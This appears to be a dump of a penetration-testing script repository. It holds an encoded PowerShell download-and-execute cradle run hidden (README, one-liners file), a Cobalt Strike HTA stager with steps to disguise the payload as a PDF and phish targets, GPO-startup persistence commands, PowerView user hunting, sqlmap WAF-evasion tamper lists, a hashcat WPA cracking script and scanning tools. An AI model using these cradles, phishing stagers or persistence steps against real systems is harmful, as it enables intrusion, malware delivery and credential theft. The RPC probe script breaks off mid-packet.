├── Wget-Mirror.txt ├── README.md ├── Persistence-Locations.txt ├── vbscript-wmi.hta ├── Nmap-Strings ├── PowerShell-OneLiners.txt ├── ProxyAware-ps-Stager.hta ├── sqlmap.md ├── ASA-Check-Ver.nse ├── HASHCAT.bat ├── Proxychains-Nmap.py ├── Threaded-IP-Geo-Lookup.py ├── Multiprocessing-IP-Geo-Lookup.py ├── Multiprocessing-Threading-IP-Geo-Lookup.py ├── Invoke-RPCArchitectureCheck .ps1 └── Invoke-EncryptedZip.ps1 /Wget-Mirror.txt: -------------------------------------------------------------------------------- 1 | wget --directory-prefix=/root/Desktop/ --header="Accept: text/html" 2 | --user-agent="(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 3 | --domains test.com -e robots=off --recursive --no-clobber --page-requisites --html-extension 4 | --convert-links -R gif,jpg,png,css,pdf,mp3,wmv http://test.com 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PenTesting-Scripts 2 | A ton of helpful tools 3 | 4 | 5 | ## Powershell Base64 on Linux 6 | 7 | In a terminal run the following command to encode your powershell one-liner 8 | ```bash 9 | $ echo -n "IEX(New-Object Net.WebClient).downloadString('http://site.com/script.js')" | iconv -t UTF-16LE | base64 -w 0 10 | ``` 11 | 12 | Now in Powershell run the following command to test encoding: 13 | ```powershell 14 | powershell -w hidden -nop -enc 15 | ``` 16 | -------------------------------------------------------------------------------- /Persistence-Locations.txt: -------------------------------------------------------------------------------- 1 | GPO start up scipts: 2 | powershell Get-ChildItem -Force C:\Windows\System32\GroupPolicy\Machine\Scripts\ 3 | powershell type C:\Windows\System32\GroupPolicy\Machine\Scripts\scripts.ini 4 | powershell Remove-Item -Force C:\Windo0ws\System32\GroupPolicy\Machine\Scripts\scripts.ini 5 | powershell Move-Item -force -path C:\scripts.ini -destination C:\Windows\System32\GroupPolicy\Machine\Scripts\ 6 | http://cybersyndicates.com/2016/01/system-context-persistence-in-gpo-startup/ 7 | -------------------------------------------------------------------------------- /vbscript-wmi.hta: -------------------------------------------------------------------------------- 1 | 9 | -------------------------------------------------------------------------------- /Nmap-Strings: -------------------------------------------------------------------------------- 1 | Internal Host Discovery 2 | # 255 min host group 3 | # min rate 6000 4 | 5 | nmap -Pn -n -sS -p 21-23,25,53,111,137,139,445,80,443,8443,8080 --min-hostgroup 255 --min-rtt-timeout 0ms --max-rtt-timeout 100ms --max-retries 1 --max-scan-delay 0 --min-rate 6000 -oA CLIENT-# -vvv --open -iL 6 | 7 | Internal Full Scope Hit and Run String using Syn Half scan 8 | # 255 min host group 9 | # min rate 1000 should be fine for internal 10 | # Full Port Scan / --open 11 | 12 | nmap -Pn -n -sS -p- -sV --min-hostgroup 255 --min-rtt-timeout 25ms --max-rtt-timeout 100ms --max-retries 1 --max-scan-delay 0 --min-rate 1000 -oA -vvv --open -iL 13 | 14 | Internal Discovery Script using pure ACK scans 15 | -------------------------------------------------------------------------------- /PowerShell-OneLiners.txt: -------------------------------------------------------------------------------- 1 | PowerVeiw and output localy to disk for beacon: 2 | powershell -no -exec bypass -command "& {Import-Module .\PowerView.ps1; Invoke-UserHunter USRNAME | Out-File -Encoding Ascii USERNAME.txt}" 3 | 4 | Powerview UserHunting Search by keyword: 5 | powershell Get-NetUser -Filter "(description=*medical*)" | Select-Object -Prop samaccountname.description,title 6 | powershell Get-NetUser -Filter "(title=*medical*)" | Select-Object -Prop samaccountname.description,title 7 | 8 | Simple Web request: 9 | powershell.exe -w hidden -command $wc = New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $wc.downloadstring('http://google.com/') 10 | 11 | Encoded Web Request 12 | echo -n "IEX(New-Object Net.WebClient).downloadString('http://site.com/script.js')" | iconv -t UTF-16LE | base64 -w 0 13 | powershell -w hidden -nop -enc 14 | -------------------------------------------------------------------------------- /ProxyAware-ps-Stager.hta: -------------------------------------------------------------------------------- 1 | # CobaltStrike setup 2 | # 1) git clone 3 | # 2) remove the comment block “#" 4 | # 3) Client name has to be set in the message box function 5 | # 4) setup listener of choice -> generate payload -> fully stagged (s) -> powershell -> name “client_pto.txt” -> save to desktop 6 | # 5) CS -> host-file -> http://s.com/download/client_pto.txt 7 | # 6) open HTA go to line 5 and replace $wc.downloadstring('http://s.org/beacon') with -> http://s.com/download/client_pto.txt 8 | # 7) CS -> host file -> select HTA on desktop -> HOST AS “ http://s.com/download/client_pto.pdf" 9 | # 8) simplyTemplate -> PTO template -> use the PDF link in the template %URL% location -> and PHISH away 10 | 11 | 28 | -------------------------------------------------------------------------------- /sqlmap.md: -------------------------------------------------------------------------------- 1 | # SQL Map cheat sheet for the wicked 2 | 3 | ## SQLMap Optimization 4 | 5 | ### Clone from dev for bleeding edge: 6 | `git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev` 7 | 8 | ### Run SQLMap via a file 9 | ```python sqlmap-dev/sqlmap.py -r login-request.txt``` 10 | 11 | ### Run from file with threads: 12 | ```python sqlmap-dev/sqlmap.py -r login-request.txt --threads=10``` 13 | 14 | ### Run from file with threads and level: 15 | ```python sqlmap-dev/sqlmap.py -r login-request.txt --level=5 --risk=3``` 16 | 17 | ## Tamper all the things: 18 | 19 | ### General Tamper Testing: 20 | ```tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes``` 21 | 22 | ### MSSQL Tamper Testing: 23 | ```tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes``` 24 | 25 | ### MySQL Tamper Testing: 26 | ```tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor``` 27 | 28 | 29 | -------------------------------------------------------------------------------- /ASA-Check-Ver.nse: -------------------------------------------------------------------------------- 1 | -- The Head Section -- 2 | description = [[Cisco ASA Version Scan as an nmap NSE plugin. 3 | Attempt to grab the Cisco ASA version from the Cisco ASA.]] 4 | 5 | --- 6 | -- @usage 7 | -- nmap --script ASA-Check.nse -p 443 8 | -- @output 9 | -- PORT STATE SERVICE 10 | -- 443/tcp open https 11 | -- |_cisco-asa-verscan: Version 12 | 13 | author = "Killswitch-gui forked from alec-stuart" 14 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 15 | categories = {"default", "safe"} 16 | 17 | local shortport = require "shortport" 18 | local http = require "http" 19 | local stdnse = require "stdnse" 20 | local string = require "string" 21 | 22 | -- The Rule Section -- 23 | portrule = shortport.http 24 | 25 | -- The Action Section -- 26 | action = function(host, port) 27 | 28 | local uri = "/CSCOSSLC/config-auth" 29 | local options = {header={}} 30 | options['header']['User-Agent'] = "Cisco AnyConnect VPN Agent" 31 | local response = http.get(host, port, uri, options) 32 | output = {} 33 | 34 | 35 | if ( response.status == 200 ) then 36 | local version = string.match(response.body, '.*(.*)') 37 | if (version ~= nil) then 38 | verstr = string.gsub(version,"%D","") 39 | longver = tonumber(verstr) 40 | while longver<10000 do 41 | longver = longver *10 42 | end 43 | 44 | output[#output + 1] = "Cisco ASA version " .. version 45 | if(longver <83000 and longver < 82551) then 46 | return "not checking" 47 | end 48 | return #output > 0 and stdnse.strjoin("\n", output) or nil 49 | else 50 | return "Unknown" 51 | end 52 | end 53 | end 54 | -------------------------------------------------------------------------------- /HASHCAT.bat: -------------------------------------------------------------------------------- 1 | @ ECHO off 2 | 3 | :begin 4 | echo. 5 | echo ####################################### 6 | echo # HASHCAT BAT SCRIPT # 7 | echo # 1) DICTIONARY ATTACK # 8 | echo # 2) BRUTE-FORCE ATTACK # 9 | echo # 3) RULE-BASED ATTACK # 10 | echo ####################################### 11 | echo. 12 | set /p mychoice="Enter your number: " 13 | echo. 14 | 15 | if "%mychoice%" == "1" ( 16 | echo. 17 | echo You picked DICTIONARY ATTACK 18 | echo. 19 | set /p capname1="Please tell me your .cap file name: " 20 | set /p dicname="Please tell me your Dictionary you want: " 21 | goto dic 22 | ) 23 | 24 | 25 | if "%mychoice%" == "2" ( 26 | echo. 27 | echo You picked BRUTE-FORCE ATTACK 28 | echo. 29 | set /p capname2="Please tell me your .cap file name: " 30 | echo. 31 | echo Example ?d?d?d?d?d?d?d?d 32 | echo ?l = abcdefghijklmnopqrstuvwxyz 33 | echo ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ 34 | echo ?d = 0123456789 35 | echo ?a = ?l?u?d?s 36 | echo ?s = !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 37 | echo. 38 | echo YOU MUST INPUT STRING NOW! 39 | set /p brutename="Please tell me your brute string: " 40 | goto brute 41 | ) 42 | 43 | 44 | 45 | 46 | if "%mychoice%" == "3" ( 47 | echo. 48 | echo You picked RULE-BASED ATTACK 49 | echo Place rule in rule Directory 50 | echo. 51 | set /p capname3="Please tell me your .cap file name: " 52 | echo YOU MUST INPUT RULE NAME! 53 | set /p rule="Please tell me your rule name: " 54 | set /p file="Please tell me your File name: " 55 | goto rule 56 | ) 57 | 58 | 59 | :dic 60 | cudaHashcat64.exe -m 2500 %capname1% %dicname% 61 | pause 62 | 63 | :brute 64 | cudaHashcat64.exe -m 2500 -a3 %capname2% %brutename% 65 | pause 66 | 67 | :rule 68 | cudaHashcat64.exe -m 2500 -r rules/%rule% %capname3% %file% 69 | pause 70 | 71 | :end 72 | echo HOPE IT WORKED !!! 73 | pause 74 | -------------------------------------------------------------------------------- /Proxychains-Nmap.py: -------------------------------------------------------------------------------- 1 | import multiprocessing 2 | from argparse import RawTextHelpFormatter 3 | import Queue 4 | import threading 5 | import os 6 | import sys 7 | import subprocess 8 | import argparse 9 | from random import randint 10 | 11 | def cli_parser(): 12 | parser = argparse.ArgumentParser(add_help=False, description='''This script Simply routes your nmap scan in a "sort-of" fast way 13 | through a ProcyChain that has been setup. 14 | \n\t(1) You will find out that when routing nmap through a Proxychain connection that Timing performace is out the window. 15 | \n\t(2) This is do to the nature of a SOCKS proxy and SYN->SYN/ACK connection is already established in NMAPS Eyes. 16 | \n\t(3) It out puts random (#) of .gnmap file for each IP for parsing. (MAKE A FOLDER) :) 17 | ''', formatter_class=RawTextHelpFormatter) 18 | parser.add_argument("-i", metavar="iplist.txt", help="Set Ip List of IPs Delimited by line") 19 | parser.add_argument('-h', '-?', '--h', '-help', '--help', action="store_true", help=argparse.SUPPRESS) 20 | args = parser.parse_args() 21 | if args.h: 22 | parser.print_help() 23 | sys.exit() 24 | if not args.i: 25 | print "[!] I need a list IP's!" 26 | sys.exit() 27 | return args.i 28 | 29 | 30 | def Execution(Task_queue): 31 | while True: 32 | Ip = Task_queue.get() 33 | # If the queue is emepty exit this proc 34 | # Setup a simple output in the folder, For gnmap Parser 35 | IpName = str(Ip).replace('.',"-") + str(".gnmap") 36 | if Ip is None: 37 | break 38 | try: 39 | print "[*] On Ip: " + Ip 40 | test = subprocess.check_output(["proxychains", "nmap", "-Pn", "-n", "-sT", "--max-scan-delay", "0", "-p111,445,139,21-23,80,443", "-oG", IpName, "--open", Ip]) 41 | test = "" 42 | except: 43 | pass 44 | 45 | def TaskSelector(Task_queue, verbose=False): 46 | total_proc = int(8) 47 | for i in xrange(total_proc): 48 | Task_queue.put(None) 49 | procs = [] 50 | for thread in range(total_proc): 51 | procs.append(multiprocessing.Process(target=Execution, args=(Task_queue,))) 52 | for p in procs: 53 | p.daemon = True 54 | p.start() 55 | for p in procs: 56 | p.join() 57 | Task_queue.close() 58 | 59 | 60 | def Ip_List(Task_queue, cli_IpList): 61 | items = [] 62 | cli_IpList = str(cli_IpList) 63 | try: 64 | with open(cli_IpList, "r") as myfile: 65 | lines = myfile.readlines() 66 | for line in lines: 67 | line = line.rstrip('\n') 68 | items.append(line) 69 | for item in items: 70 | Task_queue.put(item) 71 | return Task_queue 72 | except Exception as e: 73 | print "[!] Please check your Ip List: " + str(e) 74 | sys.exit(0) 75 | 76 | def main(): 77 | cli_IpList = cli_parser() 78 | Task_queue = multiprocessing.Queue() 79 | Task_queue = Ip_List(Task_queue, cli_IpList) 80 | TaskSelector(Task_queue) 81 | 82 | 83 | if __name__ == "__main__": 84 | try: 85 | main() 86 | except KeyboardInterrupt: 87 | print 'Interrupted' 88 | try: 89 | sys.exit(0) 90 | except SystemExit: 91 | os._exit(0) 92 | -------------------------------------------------------------------------------- /Threaded-IP-Geo-Lookup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | import socket 5 | import argparse 6 | import threading 7 | import Queue 8 | import json 9 | import requests 10 | 11 | global IP_List 12 | global results_queue 13 | results_queue = Queue.Queue() 14 | 15 | def file_handle(): 16 | try: 17 | IP_output = open('iplist_output.txt', 'w+') 18 | IP_output.close() 19 | print "[*] Output File created" 20 | except: 21 | print "[!] Couldnt create file check permissions" 22 | sys.exit(0) 23 | try: 24 | with open("iplist2.txt") as f: 25 | IP_List = f.readlines() 26 | f.close() 27 | # Caculate the ammount of IP's loaded 28 | with open("iplist2.txt") as myfile: 29 | count = sum(1 for line in myfile) 30 | print '[*] IP List loaded with:', count, " IP's" 31 | except: 32 | print "[!] Couldnt open file check file path!" 33 | sys.exit(0) 34 | return IP_List 35 | 36 | def whois_geo_lookup(ip_queue): 37 | connect_timeout = float(5.05) 38 | read_timeout = 20 39 | while True: 40 | #Simple whois query for location 41 | ip = ip_queue.get() 42 | try: 43 | agent = (requests.post(url='http://www.telize.com/geoip/'+ ip.rstrip() +'', timeout=(connect_timeout, read_timeout))).json() 44 | # ex United States 45 | country = str(agent['country']) 46 | # State for US 47 | region = str(agent['region']) 48 | # City whithin state 49 | city = str(agent['city']) 50 | except: 51 | pass 52 | try: 53 | geo_data = {'country':country, 'region':region, 'city':city} 54 | output = str(ip.rstrip()) 55 | output += ' (' + geo_data["country"] + ':' + geo_data["region"] + ':' + geo_data["city"] + ')' + '\n' 56 | print ("{0} ({1}:{2}:{3})").format(str(ip.strip()), geo_data["country"], geo_data["region"], geo_data["city"]) 57 | #print str(ip.rstrip()) + ' ' + ' (' + geo_data["country"] + ':' + geo_data["region"] + ':' + geo_data["city"] + ')' 58 | results_queue.put(output) 59 | except: 60 | pass 61 | ip_queue.task_done() 62 | return 63 | 64 | def printer(results_queue): 65 | while True: 66 | # Get item an print to output file 67 | try: 68 | item = results_queue.get() 69 | with open('iplist_output2.txt', "a") as myfile: 70 | myfile.write(item) 71 | except: 72 | pass 73 | results_queue.task_done() 74 | 75 | def main(): 76 | # Build Queue 77 | script_queue = Queue.Queue() 78 | # Define max Threads and IP list 79 | total_threads = 100 80 | IP_List = file_handle() 81 | # Places all the IP's in the list into the Queue 82 | for IP in IP_List: 83 | script_queue.put(IP) 84 | # Generate threads for worker 85 | for thread in range(total_threads): 86 | t = threading.Thread(target=whois_geo_lookup, args=(script_queue,)) 87 | t.daemon = True 88 | t.start() 89 | #Start up 90 | print "[*] starting to scan.." 91 | #Launches a single thread to output results 92 | t2 = threading.Thread(target=printer, args=(results_queue,)) 93 | t2.daemon = True 94 | t2.start() 95 | #Wait for queue to empty 96 | script_queue.join() #blocking 97 | results_queue.join() 98 | print "[*] Scan Complete!" 99 | 100 | 101 | if __name__ == "__main__": 102 | try: 103 | main() 104 | except KeyboardInterrupt: 105 | print 'Interrupted' 106 | try: 107 | sys.exit(0) 108 | except SystemExit: 109 | os._exit(0) 110 | 111 | -------------------------------------------------------------------------------- /Multiprocessing-IP-Geo-Lookup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | import threading 5 | import multiprocessing 6 | import Queue 7 | import json 8 | import requests 9 | 10 | global IP_List 11 | 12 | # Set Output file 13 | # Set Threads / processes 14 | def file_handle(): 15 | try: 16 | IP_output = open('iplist_output.txt', 'w+') 17 | IP_output.close() 18 | print "[*] Output File created" 19 | except: 20 | print "[!] Couldnt create file check permissions" 21 | sys.exit(0) 22 | try: 23 | with open("iplist2.txt") as f: 24 | IP_List = f.readlines() 25 | f.close() 26 | # Caculate the ammount of IP's loaded 27 | with open("iplist2.txt") as myfile: 28 | count = sum(1 for line in myfile) 29 | print '[*] IP List loaded with:', count, " IP's" 30 | except: 31 | print "[!] Couldnt open file check file path!" 32 | sys.exit(0) 33 | return IP_List 34 | 35 | def whois_geo_lookup(ip_queue, results_queue): 36 | while True: 37 | cont = True 38 | connect_timeout = float(3.05) 39 | read_timeout = 5 40 | #Simple whois query for location 41 | ip = ip_queue.get() 42 | if ip is None: 43 | # Break out of the while loop to terminate Sub-Procs 44 | break 45 | try: 46 | agent = (requests.post(url='http://www.telize.com/geoip/'+ ip.rstrip() +'', timeout=(connect_timeout, read_timeout)).json()) 47 | # ex United States 48 | country = str(agent['country']) 49 | # State for US 50 | region = str(agent['region']) 51 | # City whithin state 52 | city = str(agent['city']) 53 | except: 54 | cont = False 55 | try: 56 | if cont: 57 | geo_data = {'country':country, 'region':region, 'city':city} 58 | output = str(ip.rstrip()) 59 | output += ' (' + geo_data["country"] + ':' + geo_data["region"] + ':' + geo_data["city"] + ')' + '\n' 60 | print ("{0} ({1}:{2}:{3})").format(str(ip.strip()), geo_data["country"], geo_data["region"], geo_data["city"]) 61 | #print str(ip.rstrip()) + ' ' + ' (' + geo_data["country"] + ':' + geo_data["region"] + ':' + geo_data["city"] + ')' 62 | results_queue.put(output) 63 | except: 64 | pass 65 | 66 | def printer(results_queue): 67 | while True: 68 | # Get item an print to output file 69 | try: 70 | # Must set time out due to blocking, 71 | item = results_queue.get(timeout=1) 72 | with open('iplist_output2.txt', "a") as myfile: 73 | myfile.write(item) 74 | except Exception as e: 75 | print e 76 | break 77 | #results_queue.task_done() 78 | return 79 | 80 | def main(): 81 | # Build Queue 82 | script_queue = multiprocessing.Queue() 83 | results_queue = multiprocessing.Queue() 84 | 85 | #lock = multiprocessing.Lock() 86 | #with lock: 87 | 88 | # Set time out for join method 89 | timeout = float(0.1) 90 | # Define max Threads and IP list 91 | total_proc = 50 92 | IP_List = file_handle() 93 | # Places all the IP's in the list into the Queue 94 | for IP in IP_List: 95 | script_queue.put(IP) 96 | 97 | for i in xrange(total_proc): 98 | script_queue.put(None) 99 | # Generate threads for worker 100 | procs = [] 101 | for thread in range(total_proc): 102 | procs.append(multiprocessing.Process(target=whois_geo_lookup, args=(script_queue,results_queue,))) 103 | 104 | for p in procs: 105 | p.daemon = True 106 | p.start() 107 | # Removed for loop due to time and uneeded function, Set Float to reduce time of clossing, TESTING NEEDED! 108 | for p in procs: 109 | p.join(timeout) 110 | #Launches a single thread to output results 111 | t2 = threading.Thread(target=printer, args=(results_queue,)) 112 | t2.daemon = True 113 | t2.start() 114 | t2.join() 115 | #Wait for queue to empty 116 | print "[*] Scan Complete!" 117 | 118 | 119 | if __name__ == "__main__": 120 | try: 121 | main() 122 | except KeyboardInterrupt: 123 | print 'Interrupted' 124 | try: 125 | sys.exit(0) 126 | except SystemExit: 127 | os._exit(0) 128 | 129 | -------------------------------------------------------------------------------- /Multiprocessing-Threading-IP-Geo-Lookup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | import threading 5 | import multiprocessing 6 | import Queue 7 | import json 8 | import requests 9 | 10 | global IP_List 11 | 12 | 13 | def file_handle(): 14 | try: 15 | IP_output = open('iplist_output.txt', 'w+') 16 | IP_output.close() 17 | print "[*] Output File created" 18 | except: 19 | print "[!] Couldnt create file check permissions" 20 | sys.exit(0) 21 | try: 22 | with open("iplist2.txt") as f: 23 | IP_List = f.readlines() 24 | f.close() 25 | # Caculate the ammount of IP's loaded 26 | with open("iplist2.txt") as myfile: 27 | count = sum(1 for line in myfile) 28 | print '[*] IP List loaded with:', count, " IP's" 29 | except: 30 | print "[!] Couldnt open file check file path!" 31 | sys.exit(0) 32 | return IP_List 33 | 34 | def whois2(ip_queue, results_queue): 35 | while True: 36 | cont = True 37 | connect_timeout = float(6.05) 38 | read_timeout = 5 39 | value = "alex" 40 | #Simple whois query for location 41 | ip = ip_queue.get() 42 | if ip is None: 43 | # Break out of the while loop to terminate Sub-Procs 44 | break 45 | try: 46 | agent = (requests.post(url='http://www.telize.com/geoip/'+ ip.rstrip() +'', timeout=(connect_timeout, read_timeout)).json()) 47 | # ex United States 48 | country = str(agent['country']) 49 | # State for US 50 | region = str(agent['region']) 51 | # City whithin state 52 | city = str(agent['city']) 53 | except: 54 | cont = False 55 | try: 56 | if cont: 57 | geo_data = {'country':country, 'region':region, 'city':city} 58 | output = str(ip.rstrip()) 59 | output += ' (' + geo_data["country"] + ':' + geo_data["region"] + ':' + geo_data["city"] + ')' + '\n' 60 | print ("{0} ({1}:{2}:{3})").format(str(ip.strip()), geo_data["country"], geo_data["region"], geo_data["city"]) 61 | #print str(ip.rstrip()) + ' ' + ' (' + geo_data["country"] + ':' + geo_data["region"] + ':' + geo_data["city"] + ')' 62 | results_queue.put(output) 63 | except: 64 | pass 65 | return 66 | 67 | def whois_geo_lookup(ip_queue, results_queue): 68 | total_threads = 50 69 | for thread in range(total_threads): 70 | t3 = threading.Thread(target=whois2, args=(ip_queue,results_queue)) 71 | t3.daemon = True 72 | t3.start() 73 | t3.join() 74 | 75 | def printer(results_queue): 76 | while True: 77 | # Get item an print to output file 78 | try: 79 | # Must set time out due to blocking, 80 | item = results_queue.get(timeout=2) 81 | with open('iplist_output2.txt', "a") as myfile: 82 | myfile.write(item) 83 | except Exception as e: 84 | print e 85 | break 86 | #results_queue.task_done() 87 | return 88 | 89 | def main(): 90 | # Build Queue 91 | script_queue = multiprocessing.Queue() 92 | results_queue = multiprocessing.Queue() 93 | 94 | #lock = multiprocessing.Lock() 95 | #with lock: 96 | 97 | # Set time out for join method 98 | timeout = float(0.1) 99 | # Define max Threads and IP list 100 | total_proc = 8 101 | IP_List = file_handle() 102 | # Places all the IP's in the list into the Queue 103 | for IP in IP_List: 104 | script_queue.put(IP) 105 | 106 | for i in xrange(total_proc): 107 | script_queue.put(None) 108 | # Generate threads for worker 109 | procs = [] 110 | for thread in range(total_proc): 111 | procs.append(multiprocessing.Process(target=whois_geo_lookup, args=(script_queue,results_queue,))) 112 | 113 | for p in procs: 114 | p.daemon = True 115 | p.start() 116 | # Removed for loop due to time and uneeded function, Set Float to reduce time of clossing, TESTING NEEDED! 117 | for p in procs: 118 | p.join(timeout) 119 | #Launches a single thread to output results 120 | t2 = threading.Thread(target=printer, args=(results_queue,)) 121 | t2.daemon = True 122 | t2.start() 123 | t2.join() 124 | #Wait for queue to empty 125 | print "[*] Scan Complete!" 126 | 127 | 128 | if __name__ == "__main__": 129 | try: 130 | main() 131 | except KeyboardInterrupt: 132 | print 'Interrupted' 133 | try: 134 | sys.exit(0) 135 | except SystemExit: 136 | os._exit(0) 137 | 138 | -------------------------------------------------------------------------------- /Invoke-RPCArchitectureCheck .ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Invoke-RPCArchitectureCheck via .PS 3 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 4 | License: BSD 3-Clause 5 | Required Dependencies: None 6 | Optional Dependencies: None 7 | #> 8 | 9 | function Invoke-RPCArchitectureCheck { 10 | <# 11 | .SYNOPSIS 12 | Invoke-RPCArchitectureCheck 13 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 14 | License: BSD 3-Clause 15 | Required Dependencies: None 16 | Optional Dependencies: None 17 | Test Platforms: Windows 7 18 | .DESCRIPTION 19 | Invoke-RPCArchitectureCheck is a simple utility to use a crafted RPC packet to 20 | check a remote hosts arch. Returns is x86 or x64. 21 | .PARAMETER Target 22 | Host or target ip address. 23 | .EXAMPLE 24 | Invoke-RPCArchitectureCheck -Target 192.168.1.1 25 | Invoke-RPCArchitectureCheck -Target 192.168.1.1 -Verbose 26 | 27 | #> 28 | 29 | [CmdletBinding()] 30 | Param ( 31 | [Parameter(Mandatory = $true, Position = 0)] 32 | [String] 33 | $Target 34 | ) 35 | 36 | Begin { 37 | Write-Verbose "[*] Setting error action to stop" 38 | $ErrorActionPreference = "Stop" 39 | $outputVerbose = [bool]($VerbosePreference -ne [System.Management.Automation.ActionPreference]::SilentlyContinue) 40 | } 41 | 42 | 43 | Process { 44 | #Begin main process block exec of encryption 45 | Write-Verbose "[*] Attempting to con() to target" 46 | $sock = rpc_dce_connect($Target) 47 | Write-Verbose "[*] Scoket Created!" 48 | Write-Verbose "[*] Starting to build payload packet" 49 | $packet = make_rpc_packet($Target) 50 | Write-Verbose "[*] Packet built: " 51 | if ($outputVerbose) { 52 | Get-HexDump($packet) 53 | } 54 | Write-Verbose "[*] Sending packet to host!" 55 | $sock.Send($packet) | Out-Null 56 | $tcp_response = [Array]::CreateInstance("byte", 100) 57 | try{ 58 | $sock.Receive($tcp_response) | Out-Null 59 | } 60 | catch { 61 | Write-Warning "Socket error, failed to rec() from target" 62 | } 63 | Write-Verbose "[*] Packet from RPC server: " 64 | if ($outputVerbose) { 65 | Get-HexDump($tcp_response) 66 | } 67 | $resp = rpc_dce_bind_ack($tcp_response) 68 | Write-Verbose "[*] Packet stuc created: " 69 | if ($outputVerbose) { 70 | $resp 71 | } 72 | Write-Verbose "[*] Remote Target is: " 73 | if ( $resp.item_1_ack_result[0] -ne 2 ) { 74 | $temp = @{ 75 | target = $Target; 76 | architecture = "x86"; 77 | } 78 | return $temp 79 | } 80 | if ( $resp.item_2_ack_result[0] -eq 0 ) { 81 | $temp = @{ 82 | target = $Target; 83 | architecture = "x64"; 84 | } 85 | return $temp 86 | } 87 | else { 88 | $temp = @{ 89 | target = $Target; 90 | architecture = "unkown"; 91 | } 92 | return $temp 93 | } 94 | 95 | } 96 | 97 | End { 98 | Write-Verbose "[*] Calling GC for packet clean up" 99 | [GC]::Collect() 100 | 101 | } 102 | 103 | 104 | } 105 | 106 | 107 | 108 | function rpc_dce_connect($target) 109 | { 110 | $client = New-Object System.Net.Sockets.TcpClient($target,49152) 111 | $sock = $client.Client 112 | return $sock 113 | 114 | } 115 | 116 | function rpc_dce_bind_ack($rpcack) { 117 | 118 | $parsed_header = @{ 119 | version = $rpcack[0]; 120 | version_minor = $rpcack[1]; 121 | packet_type = $rpcack[2]; 122 | packet_flags = $rpcack[3]; 123 | data_representation = $rpcack[4..7]; 124 | frag_length = $rpcack[8..9]; 125 | auth_length = $rpcack[10..11]; 126 | call_id = $rpcack[12..15]; 127 | max_xmit_frag = $rpcack[16..17]; 128 | max_recv_frag = $rpcack[18..19]; 129 | assoc_group = $rpcack[20..23]; 130 | scndry_addr_len = $rpcack[24..25]; 131 | scndry_addr = $rpcack[26..31]; 132 | num_results = $rpcack[32]; 133 | item_pad = $rpcack[33.35]; 134 | item_1_ack_result = $rpcack[36..37]; 135 | item_1_ack_reason = $rpcack[38..39]; 136 | item_1_transfer_syntax = $rpcack[40..55]; 137 | item_1_syntax_ver = $rpcack[56..59]; 138 | item_2_ack_result = $rpcack[60..61]; 139 | item_2_ack_reason = $rpcack[62..63]; 140 | item_2_transfer_syntax = $rpcack[64..79]; 141 | item_2_syntax_ver = $rpcack[80..83]; 142 | } 143 | return $parsed_header 144 | 145 | } 146 | 147 | function make_rpc_packet($Target) { 148 | 149 | ################################## 150 | # DEC/RPC Header Data (required) # 151 | ################################## 152 | [Byte[]] $pkt = [Byte[]] 0x05 153 | # Version 5.0 154 | $pkt += 0x00 155 | # Packet needs to be a (Bind) call (int = 11) 156 | $pkt += 0x0B 157 | # Set packet flags (Binary = 00000011) 158 | $pkt += 0x03 159 | # set data network rep (order: Little Endian, Char: ASCII, Float: IEEE) 160 | # (Binary = 10000000) 161 | $pkt += 0x10,0x00,0x00,0x00 162 | # set frag length (int 116) 163 | $pkt += 0x74,0x00 164 | # Auth Length (No auth :) 165 | $pkt += 0x00,0x00 166 | # No call ID needed, we wont hit DCE UIDs 167 | $pkt += 0x00,0x00,0x00,0x00 168 | # Max Xmit Frag: (int 5840) 169 | $pkt += 0xD0,0x16 170 | # Max Recv Frag: (int 5840) 171 | $pkt += 0xD0,0x16 172 | # no asco group 173 | $pkt += 0x00,0x00,0x00,0x00 174 | # set the number of CTX items (2 for Arch check) 175 | $pkt += 0x02 176 | # padding 177 | $pkt += 0x00,0x00,0x00 178 | 179 | Write-Verbose "[*] Built DCE-RPC Header" 180 | 181 | # TODO: add verbose print here with HEX+ASCII Dump 182 | 183 | ################################## 184 | # DEC/RPC CTX Item 1 # 185 | ################################## 186 | # context ID 187 | $pkt += 0x00,0x00 188 | # num of trans items: (int 1) 189 | $pkt += 0x01,0x00 190 | # Abstract Syntax: MGMT V1.0 191 | # Interface: MGMT UUID: afa8bd80-7d8a-11c9-bef4-08002b102989 192 | $pkt += 0x80,0xBD,0xA8,0xAF,0x8A,0x7D,0xC9,0x11,0xBE,0xF4,0x08,0x00,0x2B,0x10,0x29,0x89 193 | # Interface Ver: 1 194 | $pkt += 0x01,0x00 195 | # Interface Ver Minor: 196 | $pkt += 0x00,0x00 197 | # Transfer Syntax[1]: 32bit NDR V2 198 | 